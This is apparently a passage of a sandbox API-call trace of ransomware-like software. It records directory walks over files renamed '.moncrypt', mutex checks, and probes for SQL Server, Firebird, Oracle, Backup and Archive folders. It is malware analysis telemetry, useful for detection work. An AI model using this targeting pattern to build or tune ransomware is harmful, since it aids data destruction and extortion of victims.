lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.494] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.494] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.494] GlobalUnlock (hMem=0x44000c) returned 0 [0050.494] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.494] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.494] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.494] GlobalUnlock (hMem=0x44000c) returned 0 [0050.494] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.494] GlobalUnlock (hMem=0x440004) returned 0 [0050.494] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.494] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0050.494] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.494] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.494] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.494] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.494] GlobalUnlock (hMem=0x440004) returned 0 [0050.495] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.495] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.495] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.495] GlobalUnlock (hMem=0x440004) returned 0 [0050.495] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.495] GlobalUnlock (hMem=0x44000c) returned 0 [0050.495] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.495] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0050.495] GetLastError () returned 0x12 [0050.495] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.495] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0050.495] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.495] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.495] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.495] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.495] GlobalUnlock (hMem=0x44000c) returned 0 [0050.495] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.495] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.495] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.495] GlobalUnlock (hMem=0x44000c) returned 0 [0050.495] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.495] GlobalUnlock (hMem=0x440004) returned 0 [0050.496] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.496] GlobalLock (hMem=0x440004) returned 0x550170 [0050.496] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.496] GlobalUnlock (hMem=0x440004) returned 0 [0050.496] GlobalLock (hMem=0x440004) returned 0x550170 [0050.496] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.496] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.496] GlobalUnlock (hMem=0x440004) returned 0 [0050.496] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.496] GlobalUnlock (hMem=0x44000c) returned 0 [0050.496] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.496] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS") returned 1 [0050.496] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.496] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.496] GlobalUnlock (hMem=0x44000c) returned 0 [0050.496] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.496] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.496] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.496] GlobalUnlock (hMem=0x44000c) returned 0 [0050.496] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.496] GlobalUnlock (hMem=0x440004) returned 0 [0050.496] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@밢R믶R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.497] GetLastError () returned 0x3 [0050.497] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.497] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.497] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0050.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뭼R企@\x18㿬Q\x181")) returned 0xffffffff [0050.498] GetLastError () returned 0x2 [0050.498] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@奌U企@\x18?T\x18;")) returned 0xffffffff [0050.498] GetLastError () returned 0x2 [0050.499] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18?T\x18D")) returned 0xffffffff [0050.499] GetLastError () returned 0x2 [0050.499] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뭼R企@\x18奌U\x18j")) returned 0xffffffff [0050.500] GetLastError () returned 0x2 [0050.500] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18?T\x18q")) returned 0xffffffff [0050.500] GetLastError () returned 0x2 [0050.500] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\奈UP") returned 6 [0050.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@셤R企@\x18?T\x18y")) returned 0xffffffff [0050.501] GetLastError () returned 0x2 [0050.501] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뭼R企@\x18?T\x18\x81")) returned 0xffffffff [0050.501] GetLastError () returned 0x2 [0050.501] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18?T\x18\x88")) returned 0xffffffff [0050.502] GetLastError () returned 0x2 [0050.502] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@셤R企@\x18?T\x18\x8f")) returned 0xffffffff [0050.502] GetLastError () returned 0x2 [0050.503] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뭼R企@\x18?T\x18\x97")) returned 0xffffffff [0050.503] GetLastError () returned 0x2 [0050.503] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.503] GlobalLock (hMem=0x440004) returned 0x550170 [0050.503] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.503] GlobalUnlock (hMem=0x440004) returned 0 [0050.503] GlobalLock (hMem=0x440004) returned 0x550170 [0050.503] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.503] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.503] GlobalUnlock (hMem=0x440004) returned 0 [0050.503] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.503] GlobalUnlock (hMem=0x44000c) returned 0 [0050.504] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.504] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.504] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.504] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.504] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.504] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.504] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.504] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.505] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.505] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.505] GlobalUnlock (hMem=0x44000c) returned 0 [0050.505] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.505] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.505] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.505] GlobalUnlock (hMem=0x44000c) returned 0 [0050.505] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.505] GlobalUnlock (hMem=0x440004) returned 0 [0050.505] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.505] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.505] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.505] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.506] 